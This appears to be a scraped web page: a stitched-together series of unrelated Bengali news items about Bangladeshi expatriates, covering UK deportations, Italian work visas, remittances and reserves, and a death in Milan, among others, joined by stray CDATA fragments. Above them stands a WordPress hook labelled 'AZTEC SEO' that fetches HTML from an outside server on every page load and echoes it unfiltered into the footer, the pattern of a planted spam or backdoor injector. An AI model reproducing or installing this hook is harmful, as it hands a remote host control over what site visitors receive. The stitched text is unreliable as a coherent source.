/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
আজ ২৯ আগস্ট শুক্রবার একটি বিশেষ চার্টার ফ্লাইটে তাদের দেশে পাঠানো হয়। বৃহস্পতিবার স্থানীয় সময় রাত ৯টায় লন্ডনের স্ট্যানস্টেড বিমানবন্দর থেকে ছেড়ে ফ্লাইট এইচএফএম৮৫১ ইসলামাবাদ হয়ে শুক্রবার বেলা ২টা ১০ মিনিটে ঢাকায় পৌঁছায়।
ফেরত আসা যাত্রীদের জন্য ট্রাভেল পারমিট ইস্যু করা হয়েছিল। তাদের মধ্যে কেউ বৈধ পাসপোর্টধারী, কারো পাসপোর্টের মেয়াদ উত্তীর্ণ হয়েছে। ফেরত আসা ব্যক্তিদের মধ্যে নারীও আছেন বলে জানায় বাংলাদেশ হাইকমিশনের কনসুলার শাখা।
যাত্রী তালিকা অনুযায়ী, তারা মূলত সিলেট, সুনামগঞ্জ, মৌলভীবাজার, কুমিল্লা, ব্রাহ্মণবাড়িয়া, চট্টগ্রাম, নোয়াখালী ও ঢাকাসহ বিভিন্ন জেলার বাসিন্দা। ফেরত আসা ১৫ জনের মধ্যে অন্তত ৬ জনের কোনো পেশা উল্লেখ ছিল না। বাকিদের মধ্যে কেউ যুক্তরাজ্যে ওয়েটার হিসেবে কাজ করতেন, কেউবা ছিলেন শিক্ষার্থী।
যুক্তরাজ্যের অভিবাসন কর্তৃপক্ষ সম্প্রতি অবৈধ অভিবাসীদের বিরুদ্ধে কঠোর ব্যবস্থা গ্রহণ শুরু করেছে। বাংলাদেশ সরকারের সঙ্গে সমন্বয় করেই ফেরত পাঠানোর এ প্রক্রিয়া সম্পন্ন করা হয়েছে।
পররাষ্ট্র মন্ত্রণালয়ের এক কর্মকর্তা গণমাধ্যমকে জানান, অনেক বাংলাদেশির ভিসার মেয়াদ শেষ হওয়ার পরও অবৈধভাবে অবস্থান করছিলেন। যুক্তরাজ্য তাদের নিজস্ব আইনের ভিত্তিতেই ব্যবস্থা নিচ্ছে।
]]>গত বুধবার লন্ডনের এলাকা পরিদর্শনে গেলে রাজা চার্লস ও রানিকে ফুলের পাপড়ি ছিটিয়ে বরণ করেন বাংলাদেশিরা। এ সময় রাজা বাংলাদেশির সঙ্গে করমর্দন করেন এবং তাদের খোঁজখবর নেন। খবর আরব নিউজের।
রাজা সেখানে একটি মসজিদ পরিদর্শন করেন এবং প্রাঙ্গণে একটি বৃক্ষরোপণ করেন। ১৯৭৮ সালে বর্ণবাদীদের হামলায় নিহত বাংলাদেশি যুবক আলতাব আলীর স্মরণে রাজা চার্লস ওই বৃক্ষরোপণ করেন।
গ্রাম-বাংলা নামের একটি রেস্তোরাঁয় রাজা ও রানি বাংলাদেশি খাবার গ্রহণ করেন। ব্রিটেনে নিযুক্ত বাংলাদেশের হাইকমিশনার সাইদা মুনা তাসনিম জানান, গত বছরের অক্টোবরে চার্লসের বাংলাদেশ সফর করার কথা ছিল। কিন্তু রানি দ্বিতীয় এলিজাবেথের মৃত্যুতে পরে তা বাতিল করা হয়।
শেখ দৌলত, ঢাকা।
]]>অনেকে ট্যুরিস্ট ভিসায় দুবাই ও অন্যান্য শহরে গিয়ে কাজ খুঁজে নেন। পরে সেখানে থাকার জন্য ওয়ার্ক পারমিটের আবেদন করেন। কয়েকদিন ধরে এ সুযোগও দেওয়া হচ্ছে না। ভারতের নাগরিক রঞ্জিত রৌত্রে দুই মাসের ভিজিট ভিসায় আরব আমিরাতে গিয়েছেন। ব্যক্তিগত প্রয়োজনে তাঁর ভিসার মেয়াদ দুদিন বাড়াতে হলে রঞ্জিতের শ্যালক অনলাইনে বাড়তি অবস্থানের জন্য জরিমানার অর্থ পরিশোধ করেন। এরপর তাকে ইমিগ্রেশনে গিয়ে লিভ পারমিটের জন্য ২৪০ দিরহাম জরিমানা গুনতে হয়।
]]>দেশটির নতুন সরকার জানিয়েছে, ২০২৩ সালে বিভিন্ন দেশ থেকে ৮২ হাজার ৭০৫ জন কর্মী নেবে ইতালি সরকার। কৃষি, পরিবহন, পর্যটন, জাহাজ নির্মাণ শিল্প, মেকানিক্স ও উৎপাদনশীল খাতের জন্য স্থায়ী ও মৌসুমি কাজের ভিত্তিতে এই শ্রমিকদের নেয়া হবে।
এ বিষয়ে কয়েক দিনের মধ্যে চূড়ান্ত গেজেট প্রকাশের কথা রয়েছে। সম্প্রতি ইতালির প্রধানমন্ত্রীর সচিব আলফ্রেদো মালতোবানো বিষয়টি তুলে ধরে এক বিবৃতি প্রকাশ করেন। এর আগে গত বছর বিভিন্ন ক্যাটাগরিতে ৬৯ হাজার স্পন্সর ভিসা দিয়েছিল ইতালি সরকার। বিশেষজ্ঞরা বলছেন, এ বছর বেশি ভিসা দেয়ায় অন্যান্যবারের চেয়ে কিছুটা কঠিন হবে ভিসা পাওয়ার নিয়ম।
দেশটির স্বরাষ্ট্র মন্ত্রণালয় জানিয়েছে, প্রাথমিকভাবে বাংলাদেশ, আইভরিকোস্ট, আলজেরিয়া, মিসর, এল সালভাদর, পাকিস্তান, ভারত, তিউনেশিয়াসহ ৩৩টি দেশ থেকে শ্রমিক নেবে ইতালি সরকার। দেশটি কৃষি ও অস্থায়ী ক্যাটাগরিতে ৪৪ হাজার এবং স্থায়ী স্পন্সর ক্যাটাগরিতে ৩৮ হাজার ৭০৫ জন শ্রমিক নেবে।
]]>রোববার বাংলাদেশ ব্যাংক থেকে এ বিষয়ে একটি সার্কুলার জারি করে বাণিজ্যিক ব্যাংকগুলোর প্রধান নির্বাহীদের কাছে পাঠানো হয়েছে। এতে বলা হয়েছে, এ সিদ্ধান্ত অবিলম্বে কার্যকর হবে। বিষয়টি সংশ্লিষ্ট গ্রাহকদেরও জানানোর নির্দেশ দেওয়া হয়েছে।
প্রবাসী বা বিদেশিদের দেশের ব্যাংকগুলোতে বৈদেশিক মুদ্রায় সঞ্চয় করতে এনএফসিডি হিসাব চালু করেছে কেন্দ্রীয় ব্যাংক। এ হিসাবে লন্ডন আন্তঃব্যাংক অফার রেটের (লাইবর) ইউরো মুদ্রার ছয় মেয়াদী বন্ডের সুদের হারের সমান সুদ দেওয়ার বিধান রয়েছে। এ সুদের হার উঠানামা করে। সাধারণত আগে এক থেকে দেড় শতাংশ থাকত। যে কারণে সঞ্চয়কারীরা আমানতের বিপরীতে সুদ কম বা বেশি পান। বর্তমানে ইউরোর মুদ্রার মান কমে যাচ্ছে। একইসঙ্গে সুদের হারও কমে গেছে। অনেক ক্ষেত্রে এ হার শূন্যে নেমে এসেছে। যে কারণে এ হিসাবে প্রবাসীরা আর বৈদেশিক মুদ্রা সঞ্চয় করতে পারছেন না। যারা আগে করেছেন তারাও অনেকে তুলে নিচ্ছেন। এতে রেমিট্যান্স প্রবাহ কমে গেছে। এ কারণে কেন্দ্রীয় ব্যাংক ওই সিদ্ধান্ত থেকে সরে এসে এনএফসিডি হিসাবের সুদের হার ব্যাংকগুলোকে নির্ধারণের ক্ষমতা দিয়েছে। ফলে ব্যাংকগুলো নিজেদের মতো করে এ হিসাবে সুদের হার নির্ধারণ করতে পারবে। ফলে তারা চাহিদা অনুযায়ী প্রবাসীদের রেমিট্যান্সও সংগ্রহ করতে পারবে।
ইউরোর সুদের হার কমে গেলেও ডলারের সুদেও হার বেড়েছে। পাউন্ডের সুদের হার কমে গেলেও এখনো তা ইতিবাচক। তবে ইউরোর সুদের হার শূন্যে নেমে এসেছে। ইউরোপীয় কেন্দ্রীয় ব্যাংক সম্প্রতি এর সুদের হার সামান্য বাড়ালেও বাজারে এর কোনো ইতিবাচক প্রভাব পড়েনি। ডলারের সুদের হার দুই দফা বাড়ানো হয়েছে। যে কারণে এখন ডলারের চাহিদা বেশ তুঙ্গে। এই সুবিধা শুধু প্রবাসীরাই পাবেন না। বাংলাদেশে কার্যরত বিদেশি নাগরিক, কোম্পানি, ফার্মও পাবে। এগুলোতে কর্মরত কর্মীরাও এ সুবিধা পাবেন। এ ছাড়া রপ্তানি প্রক্রিয়াকরণ অঞ্চল (ইপিজেড), অর্থনৈতিক অঞ্চল (ইজেড) ও হাইটেক পার্কে সম্পূর্ণ বিদেশি মালিকানাধীন কোম্পানিগুলোও এ সুবিধা পাবে। তবে হিসাব খুলতে হবে বৈদেশিক মুদ্রায়।
সাম্প্রতিককালে রেমিট্যান্স কমে ও আমদানি ব্যয় বেড়ে যাওয়ায় দেশের রিজার্ভে চাপ পড়েছে। এ কারণে রেমিট্যান্স বাড়াতে কেন্দ্রীয় ব্যাংক এই পদক্ষেপ নিয়েছে।
]]>এর আগে গত ৩০ জুন প্রথমবারের মতো ৩৬ বিলিয়ন ডলারের ঘর অতিক্রম করেছিল। করোনা সঙ্কটের মধ্যে সামগ্রিকভাবে প্রবাসীরা খারাপ অবস্থায় থাকলেও বৈধ চ্যানেলে রেমিট্যান্স বাড়ছে। একই সঙ্গে প্রচুর বৈদেশিক ঋণও আসছে। আমদানি কমে যাওয়ায় এবং বৈদেশিক চাহিদার তুলনায় সরবরাহ বৃদ্ধির কারণে রিজার্ভ বাড়ছে।
বাংলাদেশ ব্যাংকের নির্বাহী পরিচালক কাজী ছাইদুর রহমান গণমাধ্যমকে বলেন, রেমিট্যান্সের ওপর ভর করেই রিজার্ভ ৩৭ বিলিয়ন ডলারের ঘর অতিক্রম করেছে। ২ শতাংশ হারে নগদ সহায়তার কারণে এখন প্রবাসীরা বৈধ চ্যানেলে অর্থ পাঠাতে উৎসাহিত হচ্ছেন। এতে করে ব্যাংকিং চ্যানেলে এভাবেই রেমিট্যান্স বৃদ্ধি পাচ্ছে।
সূত্র জানায়, চলতি মাসের ২৭ তারিখ পর্যন্ত প্রবাসীরা ২২৪ কোটি ডলার সমপরিমাণ অর্থ দেশে পাঠিয়েছেন। এর আগে কখনো এক মাসেও এত অর্থ আসেনি। এতদিন একক মাস হিসেবে সর্বোচ্চ রেমিট্যান্সের রেকর্ড ছিল গত জুনে। ওই মাসে প্রবাসীরা ১৮৩ কোটি ডলার সমপরিমাণ অর্থ দেশে পাঠান। তার আগে এক মাসে সর্বোচ্চ ১৭৫ কোটি ডলার রেমিট্যান্সের রেকর্ড ছিল ২০১৯ সালের মে মাসে। আর সঙ্কটের মধ্যেও ২০১৯-২০ অর্থবছরে ব্যাংকিং চ্যানেলে মোট এক হাজার ৮২০ কোটি ডলার সমপরিমাণ অর্থ দেশে এসেছে। ২০১৮-১৯ অর্থবছরের তুলনায় যা ১৭৯ কোটি ডলার বা ১০ দশমিক ৮৮ শতাংশ বেশি।
করোনা সঙ্কট মোকাবেলায় বিশ্বব্যাংক, আইএমএফ, এডিবিসহ বিভিন্ন বিদেশি সংস্থা থেকে প্রচুর ঋণ পেয়েছে সরকার। মুদ্রা সরবরাহ এভাবে বাড়লেও গত অর্থবছর ৮ দশমিক ৫৬ শতাংশ আমদানি কমে ৫ হাজার ৫৯ কোটিতে নেমেছে। অবশ্য রপ্তানি ১৭ দশমিক ১০ শতাংশ কমে ৩ হাজার ২৮৩ কোটি ডলারে নেমেছে।
গত জুন মাসে রিজার্ভে একে একে তিনটি রেকর্ড অতিক্রম করে। মাসের শুরুতে রিজার্ভ ছিল ৩৩ বিলিয়ন ডলারের ঘরে। তবে ৩ জুন প্রথমবারের মতো ৩৪ বিলিয়ন ডলারের ঘর অতিক্রম করে। একের পর এক রেকর্ড হয়ে ৩০ জুন রিজার্ভের পরিমাণ ৩৬ বিলিয়ন ডলারের ঘর ছাড়িয়ে যায়।
আজ মঙ্গলবার তা ৩৭ বিলিয়ন ডলারের মাইলফলক অতিক্রম করলো। এর আগে সর্বশেষ ৩৩ বিলিয়ন ডলারের ঘর ছাড়িয়েছিল ২০১৭ সালের জুনে। তারপর দীর্ঘদিন রিজার্ভ ৩২ থেকে ৩৩ বিলিয়ন ডলারের ঘরে উঠানামা করছিল।
সংশ্লিষ্ট সূত্র জানায়, বৈধ চ্যানেলে অর্থ পাঠালে ২ শতাংশ হারে নগদ সহায়তা দেওয়া অব্যাহত আছে। আবার বিশ্ব অর্থনীতি স্থবির হয়ে পড়ায় হুন্ডি পথে বৈদেশিক মুদ্রার চাহিদা ব্যাপক কমেছে। কেননা সাধারণত অর্থ পাচারকারী প্রবাসীদের থেকে অবৈধ চ্যানেলে ডলার কিনে এখানে সুবিধাভোগীর হাতে টাকা পৌঁছে দেয়। তবে করোনাভাইরাসের কারণে এখন সব দেশেরই খারাপ অবস্থা। যে কারণে হুন্ডি পথে ডলারের চাহিদা কমেছে। আগে যারা অবৈধ উপায়ে অর্থ পাঠাতেন তাদের অনেকেই এখন ব্যাংকের মাধ্যমে পাঠাচ্ছেন।
]]>প্রধান নির্বাচন কমিশনার ছিদ্দিকুর রহমান বকুল নির্বাচিতদের নাম ঘোষণা করে বলেন, আগামী এক মাসের মধ্যে তিনটি জেলার ৩৭ টি উপজেলায় সমন্বয়ের ভিত্তিতে পদ বন্টন করে পূর্ণাঙ্গ কমটি ঘোষণা করা হবে।
এ সময় নির্বাচন কমিশনার আব্দুল মান্নান, রেহান উদ্দিন দুলাল, উপদেষ্টা আব্দুল বারী, কুদ্দুছ চৌধুরী, রফিকুল হক, হুমায়ূন কবির, শরীফ মৃধা, আক্তারুজ্জামান ভূঁইয়া এবং শাহাদাত হোসাইন প্রমূখ উপস্থিত ছিলেন।
নির্বাচিত নেতৃবৃন্দ সকল বিতর্কের ঊর্ধ্বে থেকে কমিউনিটির উন্নয়নে একে অপরের সাথে কাঁধে কাঁধ মিলিয়ে কাজ করে যাবার দৃঢ় প্রত্যয় ব্যক্ত করেন।
]]>তিনি বলেন, বাংলাদেশি বংশোদ্ভূত একজন হিসেবে আমি গর্বিত। বাংলাদেশের মুক্তিযুদ্ধ নিয়ে আমেরিকায় সদা সরব নিনা আহমেদ বলেন, আমেরিকায় কৃষ্ণাঙ্গসহ সংখ্যালঘুদের অধিকার আদায়ে এ বিজয় এক মাইলফলক হয়ে থাকবে। করোনার তাণ্ডবে বিপর্যস্ত আমেরিকায় নিনা আহমেদের নির্বাচিত হওয়া মোটেই সহজ ছিল না। পেনসিলভানিয়ায় ডেমোক্রেট দলের রাজনীতির নিয়ন্ত্রক ডেমোক্রেট শ্বেতাঙ্গদের চরম বিরোধিতায় পড়েন তিনি।
রাজ্যের অনগ্রসর কমিউনিটির নানা শ্রমিক সংগঠন তাঁকে সমর্থন করে। দলের রাজ্য পর্যায়ের বড় বড় নেতাদের বৈরিতার কারণে দৃশ্যত তাঁর নির্বাচিত হওয়া অনিশ্চিত হয়ে পড়ে। আসছে নভেম্বরে সাধারণ নির্বাচনের আনুষ্ঠানিকতার পর রাজ্যের দ্বিতীয় গুরুত্বপূর্ণ পদ অডিটর জেনারেলের দায়িত্ব গ্রহণ করবেন নিনা আহমেদ।
]]>ঘটনাটি ঘটে স্থানীয় সময় রোববার আনুমানিক রাত সাড়ে ৮টার দিকে।
জানা গেছে, মরক্কোর এক নাগরিক রাব্বিকে তার বাসার নিচে অচেতন অবস্থায় পড়ে থাকতে দেখে পুলিশকে খবর দিলে তাৎক্ষণিক পুলিশ ঘটনাস্থলে আসে।
এর পর বাসার লোকজনও জানতে পেরে নিচে নেমে এসে তাকে মৃতাবস্থায় দেখতে পান।
তার দেশের বাড়ি মাদারীপুর সদর উপজেলা শিড়খারা ইউনিয়নের সিপাহিবাড়ি এলাকায়। তিনি আ. ছাত্তার তালুকদারের নাতি বলে জানা গেছে।
পুলিশ মৃতদেহটি হাসপাতালে নিয়ে যায় এবং যে বাসায় রাব্বি থাকত, ওই বাসার সবাইকে থানায় নিয়ে জিজ্ঞাসাবাদের পর রাব্বির মামা ছাড়া বাকি সবাইকে ছেড়ে দেয়। রাব্বির মামা পুলিশের হেফাজতে রয়েছেন। এখন পর্যন্ত মৃত্যুর কারণ জানা যায়নি।
তার এই অকাল মৃত্যুতে মিলানে বাংলাদেশি কমিউনিটিতে শোকের ছায়া নেমে আসে। তার বিদেহী আত্মার মাগফিরাত কামনা ও শোকসন্তপ্ত পরিবারের প্রতি সমবেদনা জানিয়েছেন প্রবাসী বাংলাদেশিরা।
]]>সাহায্য প্রয়োজন এমন যে কেউ ১ ৭১৮ ৯৭১ ০০৫৪ নাম্বারে কল দিলে তাদের এক মাসের খাবার পৌঁছে দেন প্রতিষ্ঠানের সভাপতি বাহালুল সৈয়দ উজ্জ্বল।
নাম প্রকাশে অনিচ্ছুক সাহায্য পেয়েছেন একজন বাংলাদেশি টিভি তারকা বলেন, কুইন্স ভিলেজ থেকে কোথাও বের হতে ভয় পাই। আমারদের অর্থনৈতিক সামর্থ্য থাকলেও কিনতে যাওয়ার সাহস নাই।
পোলউর চাল, গুড়া দুধ, চা পাতা এবং ঘিসহ প্রায় এক মাসের খাবার দিয়ে সহযোগিতা করছেন। আমি কী বলে কৃতজ্ঞতা প্রকাশ করবো জানি না। আমি আমার অনেক প্রাক্তন সহকর্মীকে তাদের কথা বলেছি, তারাও তাদের সহযোগিতা পেয়েছেন বলে জানিয়েছেন।
নতুন আমেরিকায় এসেছেন আফরোজা তাসনিম। তিনি বলেন, আমেরিকায় এসে এমন খারাপ অবস্থায় পরবো কোনো দিন চিন্তাও করি নাই। আত্মীয়-স্বজন থাকলেও কেউ এই সময় বাসায় এসে সহযোগিতা করতে পারছেন না। তারা খাবার না দিলে কী যে হতো!
সৈয়দ উজ্জ্বল বলেন, আমার অফিসের নিচে একটি সুপার মার্কেট আছে। লকডাউন শুরু হওয়ার সঙ্গে সঙ্গে নিজের চোখে দেখেছি খাবার কিনতে মানুষের কষ্ট। আমি সামাজিক কার্যক্রমে জড়িত থাকায় মানুষজন আমাকে জানায় তাদের দুর্দশার কথা।
বিশেষ করে বৃদ্ধ মানুষ, সিঙ্গেল মাদার, নতুন প্রবাসী, কাগজ-পত্রহীন মানুষ, সদ্য বেকাররা যখন ফোন করে বলেন তাদের ঘরে খাবার নাই, তখন নিজের ভালো মন্দের কথা আর চিন্তা করতে পারি না। নিজের গাড়িতে খাবার কিনে মানুষের বাড়িতে পৌঁছে দেওয়া শুরু করি।
বাহালুল সৈয়দ উজ্জ্বল আরও বলেন, এই কার্যক্রমে সশরীরে এবং অর্থনৈতিকভাবে হাত বাড়িয়েছেন সংগঠনের সিনিয়র সহসভাপতি সাইফুল্লাহ ভূঁইয়াসহ সাধারণ সম্পাদক আহনাফ আলম এবং খাবার বাড়ির অন্যতম কর্ণধার কামরুজ্জামান কামরুল।
]]>